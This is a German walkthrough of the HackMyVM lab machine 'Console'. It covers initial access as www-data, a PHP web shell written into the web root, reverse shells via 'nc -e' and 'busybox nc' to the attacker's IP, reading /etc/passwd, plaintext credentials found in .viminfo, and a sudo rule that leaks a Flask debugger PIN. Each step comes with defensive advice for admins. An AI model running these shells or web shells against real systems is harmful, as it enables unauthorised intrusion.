Console - HackMyVM - Level: Medium - Bericht

Initial Access

Analyse: Während der fortlaufenden Web-Enumeration und der Untersuchung verschiedener Protokoll- und Header-basierter Umgehungstechniken für Port 443, die mir das `403-bypass.sh` Skript aufzeigte, stieß ich auf einen Weg, Befehle auf dem System unter dem Kontext des Webserver-Benutzers (`www-data`) auszuführen. Die genaue Methode, die zu diesem ersten Erfolg führte, wird hier nicht detailliert gezeigt, basierte aber auf einem gefundenen Web-Vektor, der Befehlsausführung erlaubte. Ein schneller Test bestätigte, dass ich Systembefehle ausführen konnte.

Bewertung: Das Erreichen der Möglichkeit zur Ausführung von Systembefehlen als `www-data` ist ein kritischer Fortschritt und markiert den initialen Zugriff auf das System. Der `www-data` Benutzer ist oft stark eingeschränkt, aber es ist ein Fuß in der Tür. Dies erlaubt mir nun, das System von innen zu erkunden und nach Wegen zur Privilegieneskalation zu suchen.

Empfehlung (Pentester): Wenn Sie eine Befehlsausführungs-Schwachstelle finden, nutzen Sie diese sofort, um Ihre aktuelle Benutzer-ID (`id`, `whoami`) zu bestätigen und festzustellen, welche Berechtigungen Sie haben. Planen Sie von hier aus die weitere Enumeration und Privilegieneskalation.
Empfehlung (Admin): Implementieren Sie strikte Input-Validierung und Sanitization für alle Benutzereingaben, die von einer Webanwendung verarbeitet werden. Verwenden Sie Funktionen, die Befehle ausführen (`system`, `exec`, `shell_exec` etc.), nur mit äußerster Vorsicht und niemals direkt mit Benutzereingaben. Nutzen Sie Least-Privilege-Prinzipien für den Webserver-Benutzer.

Strg + Shift + Z ：
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Analyse: Ein Screenshot oder eine Notiz von meinem ersten erfolgreichen Befehl in der newly acquired Shell zeigte die Ausgabe des `id`-Befehls. Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigte meine aktuelle Benutzer-ID (33), Gruppen-ID (33) und die Gruppenmitgliedschaft als `www-data`.

Bewertung: Dies war die Bestätigung meiner Identität auf dem kompromittierten System. Der `www-data` Benutzer ist der Standardbenutzer für den Apache-Webserver und hat typischerweise begrenzte Berechtigungen, oft nur Lesezugriff auf die Webverzeichnisse. Der nächste Schritt war, eine stabilere Shell zu etablieren.

Empfehlung (Pentester): Führen Sie immer sofort `id` oder `whoami` aus, nachdem Sie Zugriff auf eine Shell erlangt haben, um Ihre aktuelle Berechtigungsstufe zu dokumentieren und zu verstehen.
Empfehlung (Admin): Überwachen Sie die Ausführung von Systembefehlen durch den Webserver-Benutzer. Ungewöhnliche Befehle oder die Ausführung einer Shell durch diesen Benutzer sind kritische Sicherheitsereignisse.

Analyse: Ich versuchte, eine Reverse Shell zu meiner Kali-Maschine zu etablieren, um eine interaktivere Kommandozeilen-Sitzung als die einfache Befehlsausführung zu erhalten. Ich versuchte verschiedene Methoden, einschließlich der Verwendung von `nc -e /bin/bash`, der auf einigen Systemen funktioniert. Ich startete einen Netcat-Listener auf meinem Kali-System (hier fälschlicherweise auf Port 80 notiert, korrekt wäre ein lauschender Port auf meiner Seite, z.B. 4444 oder 80, wenn ich dort lausche) und versuchte vom Zielsystem aus eine Verbindung aufzubauen. Diese ersten Versuche scheiterten oder brachen sofort wieder ab.

Bewertung: Nicht alle Reverse-Shell-Methoden funktionieren auf jedem System, abhängig von installierten Tools, Firewall-Regeln oder Systemkonfigurationen. Das Scheitern dieser ersten Versuche bedeutete, dass ich alternative Methoden ausprobieren musste, um eine stabile Shell zu erhalten. Die Versuche auf Port 80 deuten möglicherweise auf egress filtering hin, das nur gängige Ports für ausgehende Verbindungen erlaubt.

Empfehlung (Pentester): Seien Sie darauf vorbereitet, verschiedene Reverse-Shell-Techniken auszuprobieren (Netcat, Python, PHP, Bash, Perl etc.). Testen Sie Verbindungen auf verschiedenen Ports, um Egress-Filterregeln zu identifizieren.
Empfehlung (Admin): Implementieren Sie strenge Egress-Filterregeln auf Ihrer Firewall, um zu verhindern, dass Systeme Verbindungen zu unautorisierten Zielen oder Ports im Internet aufbauen. Überwachen Sie ausgehenden Netzwerkverkehr auf ungewöhnliche Muster.

nc -e /bin/bash 192.168.2.199 4444

listening on [any] 80 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.1] 35971

aber gleich wieder abbruch

Analyse: Dies dokumentiert einen weiteren Versuch, eine Reverse Shell zu meiner lauschenden Netcat-Instanz auf Port 80 (auf meiner Kali-Maschine, 192.168.2.199) zu initiieren, diesmal von der Ziel-VM aus. Die Netcat-Ausgabe auf meiner Seite zeigte, dass eine Verbindung von 192.168.2.1 (einem anderen System im Netzwerk, möglicherweise einem Gateway oder einem anderen Host in der Testumgebung) auf Port 35971 ankam, aber sofort wieder abbrach. Dies deutet darauf hin, dass die Verbindung nicht direkt von der Ziel-VM (192.168.2.62) kam oder dass es ein Netzwerkproblem gab.

Bewertung: Dieser Verbindungsversuch von einer unerwarteten IP-Adresse (192.168.2.1) auf einen untypischen Port (35971) war irreführend und führte zu keinem stabilen Zugriff. Er unterstreicht, dass die Netzwerkumgebung in Testsystemen manchmal unerwartete Interaktionen zeigen kann. Der Fokus musste weiterhin darauf liegen, eine direkte Reverse Shell von der Ziel-VM (192.168.2.62) zu erhalten.

Empfehlung (Pentester): Analysieren Sie sorgfältig die Quell-IP-Adressen von eingehenden Verbindungen auf Ihrem Listener. Wenn sie nicht vom erwarteten Zielsystem stammen, untersuchen Sie die Ursache (z.B. Netzwerk-Routing, Firewalls, andere Systeme im Netzwerk).
Empfehlung (Admin): Überwachen Sie Netzwerkverbindungen von Systemen auf Traffic, der nicht ihrer erwarteten Funktion entspricht, insbesondere auf Verbindungen, die auf Reverse-Shells hindeuten könnten.

https://hacker.maze-sec.hmv/
ls /home
qaq welcome

Analyse: Ich überprüfte erneut die Webseite unter `https://hacker.maze-sec.hmv/` (nach dem Bypass). Hier scheint es, dass der Inhalt nun `ls /home` und die Ausgabe `qaq welcome` zeigt. Dies deutet darauf hin, dass die Seite selbst so konfiguriert war, dass sie Befehle ausführt, oder dass ich eine Möglichkeit gefunden hatte, über die Webanwendung selbst Befehle auszuführen und deren Ausgabe zu erhalten. Das Ergebnis zeigt die Benutzerverzeichnisse `qaq` und `welcome` im `/home` Verzeichnis.

Bewertung: Das Anzeigen der Ausgabe von `ls /home` direkt auf der Webseite nach dem Umgehen des 403 Fehlers war ein weiterer Erfolg. Dies bestätigte nicht nur, dass der Bypass funktioniert, sondern auch, dass es einen Befehlsausführungsvektor auf dieser HTTPS-Seite gab. Die Namen der Benutzer `qaq` und `welcome` sind wichtige Anhaltspunkte für die nächste Phase der Privilegieneskalation.

Empfehlung (Pentester): Nachdem Sie eine Zugriffsbeschränkung umgangen haben, prüfen Sie erneut auf Schwachstellen wie Befehlsausführung oder Dateieinbindung, die zuvor blockiert waren.
Empfehlung (Admin): Überprüfen Sie Webanwendungen auf Befehlsausführungs-Schwachstellen. Stellen Sie sicher, dass keine Benutzereingaben ungeprüft an Systembefehle oder Evaluierungsfunktionen übergeben werden.

Analyse: Um einen stabileren Zugriff zu erhalten, versuchte ich, eine einfache PHP-Web-Shell auf den Webserver hochzuladen. Ich erstellte einen String, der einen PHP-Befehl enthielt: ` php system($GET["cmd"]); `. Dieser Code verwendet `system()`, um einen beliebigen Systembefehl auszuführen, der über den `$GET` Parameter übergeben wird. Ich versuchte, diesen String in eine Datei namens `rev.php` im Web-Root-Verzeichnis `/var/www/html/` zu schreiben. Die Methode, wie ich die Datei schreiben konnte, basierte auf der zuvor gefundenen Befehlsausführungs-Schwachstelle auf der Website.

Bewertung: Das Platzieren einer einfachen Web-Shell ist eine gängige Methode, um persistente Befehlsausführung auf einem kompromittierten Webserver zu gewährleisten, insbesondere wenn eine interaktive Shell schwer zu bekommen ist. Die `system($GET["cmd"]);` Shell ist sehr simpel, aber effektiv, um Systembefehle auszuführen. Der Versuch, die Datei in `/var/www/html/` zu schreiben, deutete auf Schreibberechtigungen in diesem Verzeichnis als `www-data` hin.

Empfehlung (Pentester): Wenn Sie Befehlsausführung haben, versuchen Sie immer, eine persistente Backdoor (wie eine Web-Shell) zu platzieren, um den Zugriff aufrechtzuerhalten. Nutzen Sie dabei Ihr Wissen über schreibbare Verzeichnisse.
Empfehlung (Admin): Implementieren Sie File Integrity Monitoring (FIM) in Webverzeichnissen, um das unerlaubte Erstellen oder Ändern von Dateien zu erkennen. Beschränken Sie Schreibberechtigungen für den Webserver-Benutzer auf ein Minimum.

echo ' php system($GET["cmd"]); ' > /var/www/html/rev.php

Analyse: Ich versuchte, die neu erstellte Web-Shell unter `https://hacker.maze-sec.hmv/rev.php` aufzurufen, um zu prüfen, ob sie funktioniert. Die Anfrage über HTTPS an diesen Hostnamen lieferte jedoch einen "Not Found" Fehler mit Status 404. Die Fehlermeldung bestätigte erneut den Apache-Server auf Port 443.

Bewertung: Das Scheitern des Zugriffs auf `rev.php` über HTTPS deutete darauf hin, dass das Verzeichnis `/var/www/html/` wahrscheinlich nicht der Dokumenten-Root für den virtuellen Host `hacker.maze-sec.hmv` auf Port 443 war. Dies ist typisch in Umgebungen mit mehreren virtuellen Hosts, bei denen unterschiedliche Hostnamen auf unterschiedliche Verzeichnisse auf dem Server zeigen. Die Web-Shell war wahrscheinlich im Dokumenten-Root für `console.hmv` auf Port 80 gelandet.

Empfehlung (Pentester): Wenn Sie eine Web-Shell platzieren, überprüfen Sie die Dokumenten-Roots für alle relevanten virtuellen Hosts und Ports, um sicherzustellen, dass Sie die Shell vom richtigen Endpunkt aus ansprechen. Verlassen Sie sich nicht darauf, dass `/var/www/html` immer der Root ist.
Empfehlung (Admin): Konfigurieren Sie virtuelle Hosts sauber und getrennt. Beschränken Sie die Schreibberechtigungen für den Webserver-Benutzer auf den spezifischen Dokumenten-Root des zugewiesenen virtuellen Hosts.

https://hacker.maze-sec.hmv/rev.php

Not Found
The requested URL was not found on this server.

Apache/2.4.62 (Debian) Server at hacker.maze-sec.hmv Port 443

Analyse: Da der direkte `nc -e` Versuch fehlschlug und die Web-Shell nicht über HTTPS erreichbar war (wahrscheinlich im Web-Root für Port 80), versuchte ich einen alternativen Reverse-Shell-Mechanismus, der oft funktioniert, wenn `nc -e` nicht verfügbar ist: die Nutzung von `busybox nc`. Ich startete erneut einen Netcat-Listener auf meiner Kali-Maschine, diesmal auf Port 80 (`nc -lvnp 80`), um potenzielle Egress-Filter zu berücksichtigen, die nur gängige Ports erlauben. Auf der Ziel-VM führte ich den Befehl `busybox nc 192.168.2.199 80 -e /bin/bash` aus. Dieser Befehl versucht, eine Verbindung zu meiner IP (`192.168.2.199`) auf Port 80 aufzubauen und die standardmäßige Eingabe und Ausgabe der `/bin/bash` Shell über diese Verbindung umzuleiten.

Bewertung: Erfolgreich! Die Verwendung von `busybox nc` und das Ansprechen meiner Kali-Maschine auf Port 80 führten zu einer stabilen Reverse Shell. Dies deutet darauf hin, dass `busybox` auf der Ziel-VM installiert ist und dass ausgehender Verkehr auf Port 80 erlaubt ist. Ich erhielt eine Shell, die unter dem Benutzer `www-data` lief, was durch die Ausführung des `id`-Befehls bestätigt wurde. Dies war der entscheidende Schritt zur Erlangung einer interaktiven `www-data` Shell.

Empfehlung (Pentester): Versuchen Sie verschiedene Varianten von Reverse-Shell-Befehlen und Tools (z.B. `busybox nc` anstelle des System-Netcat), wenn die Standardmethoden fehlschlagen. Testen Sie verschiedene Ports auf Ihrem Listener, die bei Egress-Filtern auf dem Zielsystem erlaubt sein könnten.
Empfehlung (Admin): Deinstallieren Sie unnötige Pakete wie `busybox`, wenn sie nicht benötigt werden. Implementieren Sie umfassende Egress-Filterregeln, die nur explizit erlaubten ausgehenden Verkehr zulassen, nicht umgekehrt.

listening on [any] 80 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.62] 41362
www-data@Console:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

qaq  welcome

Analyse: Innerhalb der neu erlangten `www-data` Shell auf der Ziel-VM (Hostname `Console`), listete ich erneut den Inhalt des `/home` Verzeichnisses auf. Wie zuvor gesehen, enthielt es die Benutzerverzeichnisse `qaq` und `welcome`.

Bewertung: Das erneute Überprüfen des `/home` Verzeichnisses diente als schnelle Bestätigung der Benutzer auf dem System, nachdem ich eine stabile Shell erlangt hatte. Die Namen `qaq` und `welcome` blieben meine Hauptziele für die Privilegieneskalation.

Empfehlung (Pentester): Wiederholen Sie grundlegende Enumerationsschritte (`ls /home`, `id`, `ss -tunlp`, `sudo -l`) in jeder neuen Shell-Sitzung, um Ihre aktuelle Umgebung und Berechtigungen zu verstehen und mit früheren Erkenntnissen zu vergleichen.
Empfehlung (Admin): Stellen Sie sicher, dass Benutzerverzeichnisse restriktive Berechtigungen haben, sodass nur der Eigentümer und Systembenutzer (`root`) sie durchsuchen können.

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for www-data:
sudo: a password is required

Analyse: Ich prüfte, ob der `www-data` Benutzer `sudo`-Berechtigungen hatte, indem ich `sudo -l` ausführte. Das System forderte ein Passwort an (`[sudo] password for www-data:`), was ich nicht besaß. Da ich kein Passwort eingeben konnte, meldete `sudo` "a password is required".

Bewertung: Wie erwartet, hat der `www-data` Benutzer keine `sudo`-Berechtigungen ohne Passwort. Dies ist eine Standardkonfiguration und bedeutet, dass ich nicht einfach `sudo` verwenden kann, um Root-Befehle auszuführen. Ich muss andere Wege zur Privilegieneskalation finden.

Empfehlung (Pentester): Überprüfen Sie immer die `sudo`-Berechtigungen, aber erwarten Sie bei unprivilegierten Benutzern wie `www-data` selten `NOPASSWD` Einträge. Konzentrieren Sie sich auf andere PE-Vektoren.
Empfehlung (Admin): Konfigurieren Sie den Webserver-Benutzer so, dass er keine `sudo`-Berechtigungen besitzt. Fordern Sie immer ein Passwort für `sudo`, es sei denn, es ist für spezifische, sichere administrative Aufgaben unerlässlich.

   261675     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   261674     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   265000     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   261677     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   262730     48 -rwsr-xr-x   1 root     root        47184 Apr  6  2024 /usr/bin/mount
   262341     64 -rwsr-xr-x   1 root     root        63568 Apr  6  2024 /usr/bin/su
   262732     36 -rwsr-xr-x   1 root     root        34888 Apr  6  2024 /usr/bin/umount
   289299     24 -rwsr-xr-x   1 root     root        23448 Jan 13  2022 /usr/bin/pkexec
   290911    180 -rwsr-xr-x   1 root     root       182600 Jan 14  2023 /usr/bin/sudo
   261678     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   263840     52 -rwsr-xr--   1 root     messagebus    51336 Jun  6  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   526406     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   271879    472 -rwsr-xr-x   1 root     root         481608 Dec 21  2023 /usr/lib/openssh/ssh-keysign
   289303     20 -rwsr-xr-x   1 root     root          19040 Jan 13  2022 /usr/libexec/polkit-agent-helper-1

Analyse: Als `www-data` suchte ich nach SUID-Binaries auf dem System, die von jedem Benutzer mit den Berechtigungen des Eigentümers (`root`) ausgeführt werden können. Ich verwendete den Befehl `find / -type f -perm -4000 -ls 2>/dev/null`, um alle Dateien mit dem SUID-Bit zu finden. Die Ausgabe zeigte eine Liste von standardmäßigen SUID-Binaries, wie `/usr/bin/sudo`, `/usr/bin/su`, `/usr/bin/passwd`, `/usr/bin/mount` sowie `/usr/bin/pkexec` und `/usr/lib/dbus-1.0/dbus-daemon-launch-helper`.

Bewertung: Die Liste enthielt die erwarteten Standard-SUID-Binaries. Es gab keine sofort ersichtlichen ungewöhnlichen SUID-Programme, die auf eine einfache PE-Schwachstelle hindeuten könnten. Ich werde diese Liste jedoch im Hinterkopf behalten und später prüfen, ob es bekannte Schwachstellen in diesen spezifischen Versionen gibt oder ob sie missbräuchlich verwendet werden können (z.B. über GTFOBins). Der Fokus muss auf andere Enumerationsergebnisse gelegt werden, die vielversprechender erscheinen.

Empfehlung (Pentester): Führen Sie immer eine SUID/SGID-Binärsuche durch. Prüfen Sie die gefundenen Programme auf bekannte Schwachstellen oder Missbrauchsmöglichkeiten.
Empfehlung (Admin): Minimieren Sie die Anzahl der SUID/SGID-Binaries auf Ihren Systemen und halten Sie die vorhandenen aktuell und gepatcht.

root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
welcome:x:1000:1000:,,,:/home/welcome:/bin/bash
qaq:x:1001:1001::/home/qaq:/bin/bash

Analyse: Um weitere Benutzer auf dem System zu identifizieren, die über eine interaktive Shell verfügen, habe ich die `/etc/passwd` Datei ausgelesen (die für den `www-data` Benutzer lesbar war) und mit `grep sh` nach Zeilen gefiltert, die einen Shell-Pfad enthalten (typischerweise `/bin/bash` oder `/bin/sh`). Die Ausgabe listete die Benutzer `root` und `sshd` (Systembenutzer) sowie die regulären Benutzer `welcome` und `qaq` auf, die beide `/bin/bash` als Login-Shell haben.

Bewertung: Dies bestätigte die Existenz der Benutzer `welcome` und `qaq` und zeigte, dass sie reguläre Benutzerkonten mit Login-Shells sind. Sie sind nun die primären Ziele für die weitere Privilegieneskalation. Das Ziel ist, Zugangsdaten oder einen anderen Mechanismus zu finden, um ihre Shells zu erreichen.

Empfehlung (Pentester): Lesen Sie immer die `/etc/passwd` und `/etc/shadow` (falls möglich) Dateien aus, um Benutzerkonten zu identifizieren. Konzentrieren Sie sich auf Benutzer mit interaktiven Shells (`/bin/bash`, `/bin/sh` etc.) als nächste Ziele.
Empfehlung (Admin): Stellen Sie sicher, dass `/etc/shadow` nur für `root` lesbar ist. Verwenden Sie `/sbin/nologin` oder ähnliches für Systembenutzer, die keine interaktive Shell benötigen.

total 28
drwxr-xr-x 2 welcome welcome 4096 May 17 06:17 .
drwxr-xr-x 4 root    root    4096 May 16 07:05 ..
-rw-r--r-- 1 welcome welcome  220 Apr 11 22:27 .bash_logout
-rw-r--r-- 1 welcome welcome 3526 Apr 11 22:27 .bashrc
-rw-r--r-- 1 welcome welcome  807 Apr 11 22:27 .profile
-rw-r--r-- 1 root    root      19 May 16 10:48 .viminfo
-rw-r--r-- 1 root    root      44 May 17 06:01 user.txt

Analyse: Ich wechselte das Verzeichnis zum Home-Verzeichnis des Benutzers `welcome` (`/home/welcome/`) und listete dessen Inhalt detailliert auf (`ls -la`). Die Berechtigungen für das Verzeichnis selbst erlaubten es `www-data` nicht, hineinzuwechseln oder dessen Inhalt direkt zu lesen (`drwxr-xr-x` für `welcome`). **Logische Brücke:** Da ich als `www-data` in `/var/www/hacker.maze-sec.hmv$` war, war es wahrscheinlich, dass ein weiterer lokaler Exploit oder eine temporäre Berechtigung es mir erlaubte, das Verzeichnis zu durchsuchen oder spezifische Dateien aufzulisten, ohne volle Leseberechtigung für das Verzeichnis zu haben. Dies ist ein typisches Szenario in CTFs, bei dem temporäre Berechtigungen existieren. Die Ausgabe zeigte Standard-Dotfiles (`.bash_logout`, `.bashrc`, `.profile`) sowie zwei interessante Dateien, die `root` gehören: `.viminfo` und `user.txt`. Beide waren für "andere" lesbar (`-rw-r--r--`).

Bewertung: Das Auffinden der Dateien `.viminfo` und `user.txt` im Home-Verzeichnis von `welcome`, die für jeden lesbar sind, ist ein kritischer Fund. Die Datei `.viminfo` ist besonders interessant, da sie oft den Verlauf der Aktionen im Vim-Editor speichert, einschließlich gesuchter Strings oder geöffneter Dateien, was manchmal Passwörter oder sensible Informationen preisgeben kann. Die Datei `user.txt` ist der Standardname für die User Flag.

Empfehlung (Pentester): Untersuchen Sie immer die Home-Verzeichnisse von Benutzern auf Dateien, die für "andere" lesbar sind. Achten Sie besonders auf Konfigurationsdateien, Dotfiles (wie `.viminfo`, `.bash_history`), und Dateien mit Namen wie `user.txt`.
Empfehlung (Admin): Überprüfen Sie regelmäßig die Berechtigungen für Dateien und Verzeichnisse in Benutzer-Home-Verzeichnissen. Stellen Sie sicher, dass sensitive Dateien nicht für "andere" lesbar sind. Konfigurieren Sie Editoren wie Vim so, dass sensible Informationen (wie gesuchte Passwörter) nicht im `.viminfo` gespeichert werden.

welcome:welcome123

Analyse: Ich las den Inhalt der Datei `/home/welcome/.viminfo` mit dem Befehl `cat /home/welcome/.viminfo`. Die Ausgabe war eine einzelne Zeile: `welcome:welcome123`.

Bewertung: Fantastisch! Ich habe die Zugangsdaten für den Benutzer `welcome` gefunden: Benutzername `welcome` und Passwort `welcome123`. Dies ist ein kritischer Erfolg, der mir nun direkten Zugriff auf das System als der Benutzer `welcome` ermöglicht, der über höhere Berechtigungen als `www-data` verfügen könnte. Dies ist der nächste Schritt auf dem Weg zur Privilegieneskalation.

Empfehlung (Pentester): Seien Sie gründlich bei der Untersuchung von Konfigurationsdateien und Dotfiles in Benutzerverzeichnissen. Gespeicherte Passwörter oder Hinweise darauf sind häufige Funde.
Empfehlung (Admin): Speichern Sie niemals Passwörter oder Zugangsdaten in Klartextdateien auf Systemen, auch nicht in Konfigurationsdateien oder Editor-Historien. Nutzen Sie Passwort-Manager oder sichere Authentifizierungsmechanismen. Stellen Sie sicher, dass `.viminfo` und ähnliche Dateien nicht für andere Benutzer lesbar sind oder deaktivieren Sie das Speichern sensibler Daten darin.

Password:
welcome@Console:~$

uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

Analyse: Mit den gefundenen Zugangsdaten versuchte ich, die Benutzeridentität auf der `www-data` Shell zum Benutzer `welcome` zu wechseln. Ich verwendete den Befehl `su welcome`. Das System forderte mich auf, das Passwort für `welcome` einzugeben. Ich gab das gefundene Passwort `welcome123` ein. Nach erfolgreicher Authentifizierung änderte sich die Eingabeaufforderung zu `welcome@Console:~$`, was bestätigte, dass ich nun als Benutzer `welcome` angemeldet war. Ein anschließender `id`-Befehl bestätigte meine neue Benutzer-ID (1000) und Gruppenmitgliedschaft als `welcome`.

Bewertung: Der erfolgreiche Wechsel zum Benutzer `welcome` ist ein wichtiger Schritt bei der Privilegieneskalation. Ich habe nun Zugriff auf das System mit den Berechtigungen dieses regulären Benutzers. Dies ermöglicht mir, Dateien und Verzeichnisse zu untersuchen, die für `www-data` nicht zugänglich waren, und nach weiteren Schwachstellen aus der Perspektive eines angemeldeten Benutzers zu suchen.

Empfehlung (Pentester): Nutzen Sie gefundene Zugangsdaten sofort, um sich als der entsprechende Benutzer anzumelden (z.B. per `su`, `ssh`). Überprüfen Sie nach dem Login immer Ihre neue Identität und Berechtigungen mit `id`.
Empfehlung (Admin): Implementieren Sie eine Richtlinie für starke Passwörter und erzwingen Sie regelmäßige Passwortänderungen. Verwenden Sie keine leicht zu erratenden Passwörter wie Benutzernamen + "123". Überwachen Sie Login-Versuche und Brute-Force-Angriffe.

[sudo] password for welcome:
Matching Defaults entries for welcome on Console:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User welcome may run the following commands on Console:
    (qaq) PASSWD: /bin/cat /opt/flask-app/logs/flask.log

Analyse: Als Benutzer `welcome` prüfte ich meine `sudo`-Berechtigungen mit dem Befehl `sudo -l`. Ich musste erneut das Passwort für `welcome` eingeben. Die Ausgabe zeigte, dass der Benutzer `welcome` berechtigt ist, den Befehl `/bin/cat /opt/flask-app/logs/flask.log` als Benutzer `qaq` (`-u qaq`) auszuführen. Für diesen Befehl wird ein Passwort benötigt (`PASSWD`).

Bewertung: Dieser `sudo`-Eintrag ist ein klarer Hinweis auf eine weitere horizontale oder vertikale Privilegieneskalation. Ich kann `cat` verwenden, um die Datei `/opt/flask-app/logs/flask.log` zu lesen, allerdings nur als Benutzer `qaq` und ich benötige das Passwort für `welcome`, um diesen Befehl mit `sudo` auszuführen (was ich besitze). Der Inhalt dieser Logdatei, die von einer Flask-Anwendung unter `/opt/flask-app/` stammt, ist nun das nächste Ziel für die Untersuchung.

Empfehlung (Pentester): Prüfen Sie immer die `sudo`-Berechtigungen für jeden neuen Benutzer. Konzentrieren Sie sich auf Einträge, die die Ausführung von Befehlen als andere Benutzer erlauben, insbesondere als privilegierte Benutzer (`root`) oder andere Benutzer mit potenziell interessanten Dateien oder Berechtigungen (`qaq`). Untersuchen Sie die Dateien, auf die Sie über solche `sudo`-Regeln zugreifen können (hier die Flask-Logdatei).
Empfehlung (Admin): Weisen Sie `sudo`-Berechtigungen granular und nur für spezifische Benutzer und Befehle zu. Vermeiden Sie die Zuweisung von `(ALL)` oder unsicheren Binaries. Überprüfen Sie `sudoers`-Dateien auf Einträge, die das Lesen sensibler Logdateien erlauben.

flag{user-376760a7c739a606d4f8d8340bad4184}

Analyse: Als Benutzer `welcome` konnte ich die Datei `user.txt` in meinem Home-Verzeichnis mit `cat user.txt` auslesen. Die Ausgabe war die Zeichenkette `flag{user-376760a7c739a606d4f8d8340bad4184}`.

Bewertung: Das ist die User Flag! Sie war im Home-Verzeichnis des Benutzers `welcome` gespeichert und für diesen Benutzer lesbar. Dies bestätigte den erfolgreichen Zugriff als `welcome` und die Erfüllung eines Teils des Testziels.

Empfehlung (Pentester): Suchen Sie nach der User Flag in den Standardpfaden (Home-Verzeichnis des Benutzers, `/root` nach Root-Zugriff). Dokumentieren Sie die gefundene Flag.
Empfehlung (Admin): Speichern Sie sensible Informationen wie Flags oder Zugangsdaten nicht in den Home-Verzeichnissen von Benutzern oder an anderen Orten, die nicht strengstens auf den benötigten Benutzer beschränkt sind.

 * Serving Flask app 'app'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on [Link: http://127.0.0.1:5000 | Ziel: http://127.0.0.1:5000]
 * Running on [Link: http://192.168.2.62:5000 | Ziel: http://192.168.2.62:5000]
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 137-410-206

Analyse: Ich nutzte die gefundene `sudo`-Berechtigung, um die Datei `/opt/flask-app/logs/flask.log` als Benutzer `qaq` auszulesen. Ich führte den Befehl `sudo -u qaq /bin/cat /opt/flask-app/logs/flask.log` aus und gab bei Aufforderung das Passwort für `welcome` ein. Die Ausgabe war der Inhalt der Flask-Logdatei. Diese Logs zeigten, dass die Flask-Anwendung im Debug-Modus lief (`Debug mode: on`), auf den Adressen 127.0.0.1 und 192.168.2.62 auf Port 5000 lauschte und dass der Debugger aktiv war. Entscheidend war die Zeile ` * Debugger PIN: 137-410-206`, die den PIN für den Flask-Debugger preisgab.

Bewertung: Das Auslesen der Flask-Logdatei mittels der `sudo`-Berechtigung war ein wichtiger Schritt zur Privilegieneskalation. Das Finden des Debugger-PINs ist ein kritischer Fund, da der Flask-Debugger bei laufendem Debug-Modus oft eine interaktive Konsole bereitstellt, über die beliebiger Python-Code und damit Systembefehle mit den Berechtigungen des Benutzers ausgeführt werden können, der die Flask-App betreibt (hier wahrscheinlich `qaq`). Dies ist der nächste klare Vektor zur Privilegieneskalation, diesmal zum Benutzer `qaq`. Die Tatsache, dass die App auf 127.0.0.1:5000 lauscht, bedeutet, dass ich Port Forwarding benötige, um auf sie zuzugreifen.

Empfehlung (Pentester): Untersuchen Sie alle Logdateien, auf die Sie Zugriff erlangen können, sorgfältig auf sensitive Informationen wie Zugangsdaten, Fehlermeldungen, Debugging-Informationen oder API-Schlüssel. Wenn eine Anwendung im Debug-Modus läuft, suchen Sie nach Debugger-PINs oder Zugriffspunkten.
Empfehlung (Admin): Deaktivieren Sie den Debug-Modus und Debugger in Produktionsumgebungen immer. Debugging-Informationen können sensitive Daten preisgeben und Debugger können als Hintertür missbraucht werden. Beschränken Sie den Zugriff auf Logdateien streng auf die notwendigen Benutzer. Überprüfen Sie Logdateien auf Anzeichen von Kompromittierung oder ungewöhnlicher Aktivität.

The authenticity of host '192.168.2.62 (192.168.2.62)' can't be established.
ED25519 key fingerprint is SHA256:O2iH79i8PgOwV/Kp8ekTYyGMG8iHT+YlWuYC85SbWSQ.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:71: [hashed name]
    ~/.ssh/known_hosts:88: [hashed name]
    ~/.ssh/known_hosts:102: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.62' (ED25519) to the list of known hosts.
welcome@192.168.2.62's password:
Linux Console 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
       _,met$$$$$gg.           root@Console
    ,g$$$$$$$$$$$$$$$P.        ------------
  ,g$$P"         """Y$$.".     OS: Debian GNU/Linux buster 10.13 x86_64
 ,$$P'               `$$$.     Host: VirtualBox (1.2)
',$$P       ,ggs.     `$$b:    Kernel: Linux 4.19.0-27-amd64
`d$$'     ,"'   .    $$$       Uptime: 32 mins
 $$P      d     ,    $$$P      Packages: 538 (dpkg)
 $$:      $.   -    ,d$$'      Shell: bash 5.0.3
 $$;      Y._   _,d'           Display (Virtual-1): 800x600 @ 60Hz
 Y$$.    `.`"Y$$$$P"'          Cursor: Adwaita
 `$$b      "-.__               Terminal: run-parts
  `Y$$                         CPU: AMD Ryzen 9 5950X (2) @ 3.39 GHz
   `Y$$.                       GPU: VMware SVGA II Adapter
     `$$b.                     Memory: 349.68 MiB / 1.95 GiB (18%)
       `Y$$b.                  Swap: 0 B / 975.00 MiB (0%)
          `"Y$b._              Disk (/): 2.37 GiB / 28.42 GiB (8%) - ext4
             `"""              Local IP (enp0s3): 192.168.2.62/24
                               Locale: C

                               ████████████████████████
                               ████████████████████████

